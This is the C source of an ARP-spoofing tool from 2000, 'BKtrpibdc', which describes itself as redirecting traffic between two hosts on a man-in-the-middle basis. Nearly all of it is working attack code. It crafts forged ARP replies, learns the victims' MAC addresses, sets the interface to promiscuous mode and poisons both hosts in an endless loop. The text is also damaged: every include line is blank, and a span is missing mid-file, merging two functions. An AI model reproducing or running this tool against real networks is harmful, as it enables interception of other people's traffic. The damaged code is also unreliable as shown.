/* * _/_/_/ _/ _/ _/ _/ _/_/_/ _/_/_/ _/ * _/ _/ _/ _/ _/ _/_/ _/ _/ _/ _/ _/_/ * _/_/_/_/ _/ _/_/ _/ _/ _/_/_/ _/_/_/ _/ _/ * _/ _/ _/ _/ _/ _/_/_/_/ _/ _/ _/_/_/_/ * _/_/_/_/ _/ _/ _/ _/ _/ _/ _/ _/ _/ * * * $Id: BKtrpibdc.c ,v 9.9 2000/04/29 00:31:21 l0wlevel Exp $ * * BKtrpibdc.c - Network tool for arp redirection * Based on Amua Library - Arp&Mac:Use&Abuse * Coded on a Redbug 5.0+1.0+0.2 * Tools used: vi,gcc,ping * Last modification added in a hot august day. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * * Copyright (c) 2000 bikappa [l0wlevel] * All rights reserved. * */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include void info() { printf("\n Based on Amua Library - Arp&Mac:Use&Abuse\n"); printf(" This tool redirects packets from Point to Point communication \n"); printf(" It works under mitm concept.\n"); printf(" Copyright (C) 2000 by bikappa \n\n"); } void usage(char * arg) { printf("\n BKtrpibdc - Copyright (C) 2000 by bikappa [l0wlevel] \n"); printf(" This tool permit to redirect packets \n\n"); printf(" usage: %s -i -e -s -d -r \n\n", arg); printf(" source ip suorce ip address \n"); printf(" destination ip destination ip address \n"); printf(" -i info print info about the program and the author \n"); printf(" -r recache time time between redirect session. default (20) \n"); printf(" -s source mac if the tool can't determine the mac, must specify it \n"); printf(" -d destination mac if the tool can't determine the mac, must specify it \n"); printf(" -e ethernet device change from default (eth0)\n\n"); } typedef struct thred_str thred; static struct ifreq saved_ifr; struct arp_redirect_packet { unsigned char *mac_source_address; unsigned char *mac_destination_address; unsigned long ip_source_address; unsigned long ip_destination_address; }; struct arp_header_packet { unsigned short mac_address_format; unsigned short ip_address_format; unsigned char mac_address_length; unsigned char ip_address_length; unsigned short op_type; unsigned char source_mac_address[6]; unsigned char source_ip_address[4]; unsigned char destination_mac_address[6]; unsigned char destination_ip_address[4]; }; struct ethernet_header_device { unsigned char ethernet_destination_address[6]; unsigned char ethernet_source_address[6]; unsigned short ethernet_type; }; struct link_interface { int fd; int linktype; int linkoffset; u_char *device; }; struct packet_header { struct timeval ts; bpf_u_int32 caplen; bpf_u_int32 len; }; struct singleton { struct packet_header *hdr; const unsigned char *pkt; }; /* Some stuff ripped from libpcap and modified for this use */ struct stat_str { u_int ps_recv; u_int ps_drop; u_int ps_ifdrop; }; struct sf_str { FILE *rfile; int swapped; int version_major; int version_minor; u_char *base; }; struct md_str { struct stat_str stat; int use_bpf; unsigned long TotPkts; unsigned long TotAccepted; unsigned long TotDrops; long TotMissed; long OrigMissed; int pad; int skip; char *device; }; struct thred_str { int fd; int snapshot; int linktype; int tzoff; int offset; struct sf_str sf; struct md_str md; int bufsize; unsigned char *buffer; unsigned char *bp; int cc; unsigned char *pkt; struct bpf_program fcode; char errbuf[1025]; }; /* __EOF__ libpcap ripping */ int build_ethernet(unsigned char *destination, unsigned char *source, unsigned char *buffer) { struct ethernet_header_device ethernet_header; const unsigned char *payload = NULL; int payload_s = 0; unsigned short eth_head_l = 0xe, ethertype_arp = 0x0806; if (!buffer) return (-1); memcpy(ethernet_header.ethernet_destination_address, destination, 6); memcpy(ethernet_header.ethernet_source_address, source, 6); ethernet_header.ethernet_type = htons(ethertype_arp); if (payload && payload_s) memcpy(buffer + eth_head_l, payload, payload_s); memcpy(buffer, ðernet_header, sizeof(ethernet_header)); return (1); } int build_arp(unsigned char *source_mac_address, unsigned char *source_ip_address, unsigned char *destination_mac_address, unsigned char *destination_ip_address, unsigned char *buffer) { struct arp_header_packet arp_header; const unsigned char *payload = NULL; int payload_s = 0; unsigned short ethertype = 0x0800, hardware_type = 1, opcode_cmd = 2, arp_head_l = 0x1c, mac_address_length = 6, ip_address_length =4; if (!buffer) return (-1); arp_header.mac_address_format = htons(hardware_type); arp_header.ip_address_format = htons(ethertype); arp_header.op_type = htons(opcode_cmd); arp_header.mac_address_length = mac_address_length; arp_header.ip_address_length = ip_address_length; memcpy(arp_header.source_mac_address, source_mac_address, mac_address_length); memcpy(arp_header.source_ip_address, source_ip_address, ip_address_length); memcpy(arp_header.destination_mac_address, destination_mac_address, mac_address_length); memcpy(arp_header.destination_ip_address, destination_ip_address, ip_address_length); if (payload && payload_s) memcpy(buffer + arp_head_l, payload, payload_s); memcpy(buffer, &arp_header, sizeof(arp_header)); return (1); } struct link_interface * open_link_interface(char *device, char *ebuf) { register struct link_interface *l; struct ifreq ifr; l = (struct link_interface *)malloc(sizeof (*l)); if (l == NULL) { fprintf(stderr, "Malloc: %s.\n", ebuf); return (NULL); } memset(l, 0, sizeof (*l)); l->fd = socket(PF_INET, SOCK_PACKET, htons(ETH_P_ALL)); if (l->fd == -1) { fprintf(stderr, "Socket: %s.\n", ebuf); if (l->fd >= 0) close(l->fd); free(l); return (NULL); } memset(&ifr, 0, sizeof (ifr)); strncpy(ifr.ifr_name, device, sizeof (ifr.ifr_name)); if (ioctl(l->fd, SIOCGIFHWADDR, &ifr) < 0 ) { fprintf(stderr, "SIOCGIFHWADDR: %s.\n", ebuf); if (l->fd >= 0) close(l->fd); free(l); return (NULL); } l->linkoffset = 0xe; l->linktype = 12; return (l); } int init_packet(int p_size, unsigned char **buffer) { int max_packet = 65535; if (p_size <= 0) p_size = max_packet + 1; *buffer = (unsigned char *)malloc(p_size); if (!*buffer) { perror("Init packet malloc failed:"); return (-1); } else { memset(*buffer, 0, p_size); return (1); } } int destroy_packet(unsigned char **buffer) { if (!*buffer) { return (-1); } free(*buffer); *buffer = NULL; return (1); } void count_success(int repeat) { int i; for (i = 0; i fd = fd; memset(&sa, 0, sizeof(sa)); sa.sa_family = AF_INET; (void)strncpy(sa.sa_data, device, sizeof(sa.sa_data)); if (bind(p->fd, &sa, sizeof(sa))) { sprintf(ebuf, " Bind: %s: %s", device, ebuf); return (NULL); } memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name)); if (ioctl(p->fd, SIOCGIFHWADDR, &ifr) < 0 ) { sprintf(ebuf, "SIOCGIFHWADDR: %s", ebuf); return (NULL); } broadcast = 0; p->linktype = 1; p->offset = 2; ++broadcast; memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name)); if (ioctl(p->fd, SIOCGIFMTU, &ifr) < 0 ) { sprintf(ebuf, "SIOCGIFMTU: %s", ebuf); return (NULL); } p->bufsize = ifr.ifr_mtu + 64; p->buffer = (u_char *)malloc(p->bufsize + p->offset); if (p->buffer == NULL) { sprintf(ebuf, "malloc: %s", ebuf); return (NULL); } if (promisc && broadcast) { memset(&ifr, 0, sizeof(ifr)); strcpy(ifr.ifr_name, device); if (ioctl(p->fd, SIOCGIFFLAGS, &ifr) < 0 ) { sprintf(ebuf, "SIOCGIFFLAGS: %s", ebuf); return (NULL); } saved_ifr = ifr; ifr.ifr_flags |= IFF_PROMISC; if (ioctl(p->fd, SIOCSIFFLAGS, &ifr) < 0 ) { sprintf(ebuf, "SIOCSIFFLAGS: %s", ebuf); return (NULL); } ifr.ifr_flags &= ~IFF_PROMISC; atexit(linux_restore_ifr); } p->md.device = (char *)strdup(device); if (p->md.device == NULL) { sprintf(ebuf, " Malloc: %s", ebuf); return (NULL); } p->snapshot = snaplen; return (p); } const unsigned char * next(thred *p, struct packet_header *h) { struct singleton s; s.hdr = h; return (s.pkt); } /* __EOF__ second ripping */ unsigned long get_ipaddr (struct link_interface *l, const unsigned char *device, char *ebuf) { struct ifreq ifr; register struct sockaddr_in *sin; int fd; fd = socket(PF_INET, SOCK_DGRAM, 0); if (fd < 0) { sprintf(ebuf, "socket: %s", strerror(errno)); return (0); } memset(&ifr, 0, sizeof(ifr)); sin = (struct sockaddr_in *)&ifr.ifr_addr; strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name)); ifr.ifr_addr.sa_family = AF_INET; if (ioctl(fd, SIOCGIFADDR, (char*) &ifr) < 0) { close(fd); return(0); } close(fd); return (ntohl(sin->sin_addr.s_addr)); } unsigned char * host_lookup(unsigned long in, unsigned short use_name) { static unsigned char hostname[512], hostname2[512]; static unsigned short which; unsigned char *p; struct hostent *host_ent = NULL; struct in_addr addr; which++; if (use_name == 1) { addr.s_addr = in; host_ent = gethostbyaddr((char *)&addr, sizeof(struct in_addr), AF_INET); } if (!host_ent) { p = (unsigned char *)∈ sprintf(((which % 2) ? hostname : hostname2), "%d.%d.%d.%d", (p[0] & 255), (p[1] & 255), (p[2] & 255), (p[3] & 255)); } else if (use_name == 1) strncpy(((which % 2) ? hostname : hostname2), host_ent->h_name, sizeof(hostname)); return (which % 2) ? (hostname) : (hostname2); } int get_remote_mac (struct link_interface *l, unsigned char *device, unsigned long ip, unsigned long local_ip, char local_mac[], unsigned char remote_mac[6]) { struct sockaddr sa; struct ether_addr *e; unsigned char enet_dst[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff}; int n = 0, i = 0, c = 0, ethertype = 0x0800, eth_head_l = 0xe; unsigned char *packet2, errbuf[256], *ip_p, length = 0xe + 0x1c; static unsigned char *packet; unsigned char *rem_ip; struct ethernet_header_device *p; struct arp_header_packet *a; thred *pd; struct packet_header pc_hdr; if ( init_packet(length, &packet2) == -1) { perror(" Error: Init packet memory"); exit(0); } pd = open_live(device, length, 1, 500, errbuf); if (pd == NULL) { fprintf(stderr, " Open live: %s\n", errbuf); return (-1); } build_ethernet(enet_dst, local_mac, packet); build_arp (local_mac, (unsigned char *)&local_ip, enet_dst, (unsigned char *)&ip, packet2 + 0xe); memset(&sa, 0, sizeof (sa)); strncpy(sa.sa_data, device, sizeof (sa.sa_data)); c = sendto(l->fd, packet2, length, 0, &sa, sizeof (sa)); if (c != length) fprintf(stderr, "Warning: write Layer : %d bytes written.\n", c); rem_ip = host_lookup(ip, 0); printf(" Sent a ARP request looking for the MAC of %s.\n", host_lookup(ip, 0)); printf(" Please wait for reponse... \n"); printf(" Note: if it can't get Mac, kill the process and set manually the MAC\n"); for (;(packet = ((unsigned char *) next(pd, &pc_hdr)));) { p = (struct ethernet_header_device *)(packet); if (ntohs(p->ethernet_type) == ethertype) { a = (struct arp_header_packet *)(packet + eth_head_l); if (ntohs(a->op_type) ==2) { ip_p = (unsigned char *)&ip; if (a->source_ip_address[0] == ip_p[0] && a->source_ip_address[1] == ip_p[1] && a->source_ip_address[2] == ip_p[2] && a->source_ip_address[3] == ip_p[3]) for (i = 0; i < 6; i++) remote_mac[i] = a->source_mac_address[i]; } } } destroy_packet(&packet2); return (n); } void felix_ruls_to_save_address (char *mac, char mac_temp[17]) { int i; unsigned char felix; for ( i = 0; i < 6; i++) { felix = ((unsigned char)mac[i]); felix < 16 ? sprintf(&mac_temp[i*3], "0%1X:", felix):sprintf(&mac_temp[i*3], "%2X:",felix); } mac_temp[17] = 0; } int main ( int argc, char **argv) { struct link_interface *link; struct sockaddr sa; struct ifreq ifr; static struct arp_redirect_packet arpr[2]; int fd, recache = 20, temp = 0, c = 0, i = 0, count_1 = 0, counter = 0, length = 0xe + 0x1c; static unsigned char *packet, *ethernet_device = "eth0", source_mac_address[6], redirect_mac_address[6], destination_mac_address[6]; char ebuf[1025], source_mac_address_t[18], destination_mac_address_t[18], source_mac_address_t2[6], destination_mac_address_t2[6], redirect_mac_address_t[18], redirect_mac_address_t2[18], source_ip_address_t[15], destination_ip_address_t[15], tmp; static unsigned long local_ip, local_ip_address, source_ip_address, destination_ip_address; char lulu; extern char *optarg; while ((lulu = getopt(argc, argv, "-is:r:d:e:")) != EOF) { switch(lulu) { case 'i' : info(); exit(1); case 'r' : recache = atoi(optarg); break; case 's' : count_1++; sscanf(optarg, "%s", source_mac_address_t); break; case 'd' : count_1++; sscanf(optarg, "%s", destination_mac_address_t); break; case 'e' : ethernet_device = optarg; break; } } if (count_1 > 0 && count_1 != 2) { printf("Bad options, you must specify both source and destination mac address\n"); exit(1); } if (argc < 3) { usage(argv[0]); exit(1); } snprintf ( source_ip_address_t, sizeof (source_ip_address_t), "%s", argv[1]); snprintf ( destination_ip_address_t,sizeof (destination_ip_address_t), "%s", argv[2]); printf("\n\n **************************************************************************\n"); printf(" * BKtrpibdc - Copyright 2000 by bikappa [l0wlevel] *\n"); printf(" **************************************************************************\n\n"); printf(" Loading data "); count_success(10); fd = socket(AF_INET, SOCK_DGRAM, 0); if (fd < 0) { perror("Socket error"); exit(1); } memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, ethernet_device, sizeof(ifr.ifr_name)); if (ioctl(fd, SIOCGIFHWADDR, (char *)&ifr) < 0) { close(fd); perror("Socket error"); exit(1); } memcpy(redirect_mac_address_t2, &ifr.ifr_hwaddr.sa_data, 6); close(fd); felix_ruls_to_save_address(redirect_mac_address_t2, redirect_mac_address_t); printf(" Acuiqiring local mac address"); count_success (8); local_ip_address = get_ipaddr(link, ethernet_device, ebuf); local_ip = htonl(get_ipaddr(link, ethernet_device, ebuf)); if (!local_ip_address) { fprintf(stderr, " Can't get ip address: %s\n", ebuf); exit(0); } printf(" Acuiqiring local IP address"); count_success (8); temp = init_packet(length, &packet); if( temp == -1) { fprintf(stderr, " Packet initialization failed.\n"); exit(0); } else if ( temp == 1) { printf(" Packet initialization"); count_success (8); } if((link = open_link_interface(ethernet_device, ebuf)) == NULL) { fprintf(stderr, " Open link interface failed: %s.\n", ebuf); exit(0); } printf(" Open link interface "); count_success(8); source_ip_address = inet_addr (source_ip_address_t); destination_ip_address = inet_addr (destination_ip_address_t); if (count_1 == 0) { get_remote_mac (link, ethernet_device, source_ip_address, local_ip, redirect_mac_address_t2, source_mac_address_t2); get_remote_mac (link, ethernet_device, destination_ip_address, local_ip, redirect_mac_address_t2, destination_mac_address_t2); felix_ruls_to_save_address(source_mac_address_t2, source_mac_address_t); felix_ruls_to_save_address(destination_mac_address_t2, destination_mac_address_t); } set_address (redirect_mac_address_t, redirect_mac_address); set_address (source_mac_address_t, source_mac_address); set_address (destination_mac_address_t, destination_mac_address); i = 0; // arp_redirect_packet [0] // source define arpr[i].mac_source_address = redirect_mac_address; arpr[i].ip_source_address = source_ip_address; //destination define arpr[i].mac_destination_address = destination_mac_address; arpr[i].ip_destination_address = destination_ip_address; i = 1; // arp_redirect_packet [1] // source re-define arpr[i].mac_source_address = redirect_mac_address; arpr[i].ip_source_address = destination_ip_address; // destination re-define arpr[i].mac_destination_address = source_mac_address; arpr[i].ip_destination_address = source_ip_address; printf(" Assignement struct "); count_success(8); printf("\n ********************** Table of Comunication Point ***********************\n"); printf(" * Point 1 IP:(%s)\t MAC:[%s] on device %s *\n", source_ip_address_t, source_mac_address_t, ethernet_device); printf(" * Local M IP:(%s)\t MAC:[%s] on device %s *\n", host_lookup(ntohl(local_ip_address), 0), redirect_mac_address_t, ethernet_device); printf(" * Point 2 IP:(%s)\t MAC:[%s] on device %s *\n", destination_ip_address_t, destination_mac_address_t, ethernet_device); printf(" **************************************************************************\n\n"); printf(" Checkinkg if ready"); count_success(6); signal(SIGINT, cleanall); signal(SIGKILL, cleanall); printf("\n"); printf(" *********************** Now Starting Redirection *************************\n\n"); for(;;) { printf(" Now trying arp redirection: Session(0x%x): ", counter); fflush(stdout); for(i = 0; i < 2; i++) { fflush(stdout); build_ethernet( arpr[i].mac_destination_address, arpr[i].mac_source_address, packet); build_arp(arpr[i].mac_source_address, (unsigned char *)&arpr[i].ip_source_address, arpr[i].mac_destination_address, (unsigned char *)&arpr[i].ip_destination_address, packet + 0xe); memset(&sa, 0, sizeof (sa)); strncpy(sa.sa_data, ethernet_device, sizeof (sa.sa_data)); c = sendto(link->fd, packet, length, 0, &sa, sizeof (sa)); if (c != length) { fprintf(stderr, "Warning: write Layer : %d bytes written.\n", c); } } count_success(recache); counter++; } return 1; }